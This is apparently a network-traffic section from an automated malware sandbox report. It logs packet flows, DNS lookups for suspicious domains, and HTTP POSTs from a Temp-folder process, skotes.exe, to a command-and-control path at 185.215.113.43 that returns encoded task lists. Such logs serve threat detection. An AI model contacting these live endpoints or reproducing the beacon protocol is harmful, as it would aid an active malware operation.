Dec 19, 2024 20:11:53.164506912 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164556980 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.164587975 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164735079 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164772034 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164856911 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165004969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.165054083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.165118933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.165128946 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165168047 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.165301085 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165401936 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165410042 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165421009 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165595055 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.165822029 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.165863037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.166002989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.166043997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.166208029 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166218042 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166224957 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166234016 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166388988 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166398048 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166445017 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166488886 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166609049 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166634083 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.166724920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.166771889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.166898966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.166940928 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.167088032 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167097092 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167105913 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167114019 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167124033 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167131901 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167177916 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167186975 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167221069 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167260885 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167270899 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167309046 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167392969 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167397022 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.167402029 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167462111 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.167581081 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167593002 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167608023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.167642117 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.167793036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.167834044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.167953014 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167963982 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167973042 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167982101 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167985916 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.167994976 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168005943 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168015003 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168023109 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168031931 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168040991 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168153048 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168167114 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168169975 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168176889 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168235064 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168245077 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.168462038 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.168509007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.168651104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.168695927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.169354916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.169399977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.169431925 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.169476986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.170176983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.170222044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.170275927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.170312881 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.171060085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.171107054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.171160936 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.171199083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.171919107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.171967030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.172020912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.172063112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.172781944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.172832012 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.172883987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.172921896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.173758030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.173791885 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.173815012 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.173835993 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.174575090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.174619913 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.174649000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.174696922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.175416946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.175467014 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.175633907 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.175683975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.176388025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.176482916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.176492929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.176601887 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.177180052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.177241087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.177735090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.177782059 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.178199053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.178241968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.178323030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.178366899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.179158926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.179210901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.179233074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.179276943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.179925919 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.179985046 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.180030107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.180078030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.180701017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.180743933 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.180752993 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.180795908 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.181488037 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.181534052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.181585073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.181634903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.206830025 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.266146898 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.266179085 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.283960104 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284092903 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284116983 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284202099 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284224987 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284405947 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284509897 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.284881115 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.284944057 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.287064075 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287235022 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287333965 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287437916 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287456989 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287589073 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287667036 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287749052 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287810087 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287919998 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.287929058 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288041115 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288049936 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288183928 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288193941 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288300991 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288367033 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288527012 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288573027 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288691044 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288708925 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288892031 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.288939953 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289024115 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289041996 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289139986 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289159060 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289212942 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289264917 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289314985 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289324045 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289361000 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289452076 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289469004 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289479971 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289556026 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289591074 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289674044 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289684057 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289835930 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289845943 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.289979935 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290021896 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290124893 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290133953 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290175915 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290184975 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290262938 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290282011 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290359974 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290369034 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290438890 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290448904 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290530920 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.290844917 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.329389095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.329459906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.329508066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.329546928 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.329812050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.329864025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.329931974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.329977989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.330709934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.330760002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.330823898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.330874920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.331572056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.331625938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.331677914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.331737995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.332901955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.332957029 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.332983017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.333039999 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.333410025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.333460093 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.333525896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.333575964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.334147930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.334197044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.334273100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.334322929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.334995031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.335042000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.335149050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.335190058 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.335860968 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.335920095 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.335942984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.335988998 CET	49877	80	192.168.2.4	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 20:11:17.148829937 CET	192.168.2.4	1.1.1.1	0xdeb2	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:25.774089098 CET	192.168.2.4	1.1.1.1	0xbf0	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:46.586353064 CET	192.168.2.4	1.1.1.1	0x8d5e	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:46.586447954 CET	192.168.2.4	1.1.1.1	0x1483	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 19, 2024 20:11:50.905092001 CET	192.168.2.4	1.1.1.1	0xf2b4	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:50.905225992 CET	192.168.2.4	1.1.1.1	0xa39	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 19, 2024 20:11:55.452322006 CET	192.168.2.4	1.1.1.1	0x334e	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:55.452410936 CET	192.168.2.4	1.1.1.1	0x621d	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 20:11:17.288285971 CET	1.1.1.1	192.168.2.4	0xdeb2	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:17.288285971 CET	1.1.1.1	192.168.2.4	0xdeb2	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:17.288285971 CET	1.1.1.1	192.168.2.4	0xdeb2	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:26.091773033 CET	1.1.1.1	192.168.2.4	0xbf0	No error (0)	treehoneyi.click	104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:26.091773033 CET	1.1.1.1	192.168.2.4	0xbf0	No error (0)	treehoneyi.click	172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:47.079907894 CET	1.1.1.1	192.168.2.4	0x8d5e	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:47.079907894 CET	1.1.1.1	192.168.2.4	0x8d5e	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:51.763277054 CET	1.1.1.1	192.168.2.4	0xf2b4	No error (0)	home.twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 19, 2024 20:11:55.591806889 CET	1.1.1.1	192.168.2.4	0x334e	No error (0)	home.twentytk20pn.top	147.45.113.159	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:05.547880888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 19, 2024 20:11:06.880407095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:08.513900042 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 19, 2024 20:11:09.908132076 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 39 31 0d 0a 20 3c 63 3e 31 30 31 37 37 38 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 61 63 33 31 32 31 66 65 61 30 36 62 37 31 64 30 62 37 35 37 63 62 65 63 38 65 61 31 66 39 38 65 33 64 31 34 38 32 62 23 31 30 31 37 38 31 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 38 32 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 63 37 36 39 31 34 61 34 39 62 61 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 38 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 [TRUNCATED] Data Ascii: 691 <c>1017788001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2ac3121fea06b71d0b757cbec8ea1f98e3d1482b#1017818001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1017821001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1017822001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017823001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1017824001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1017825001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017826001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017827001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1017828001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1017829001+++fc8f [TRUNCATED]
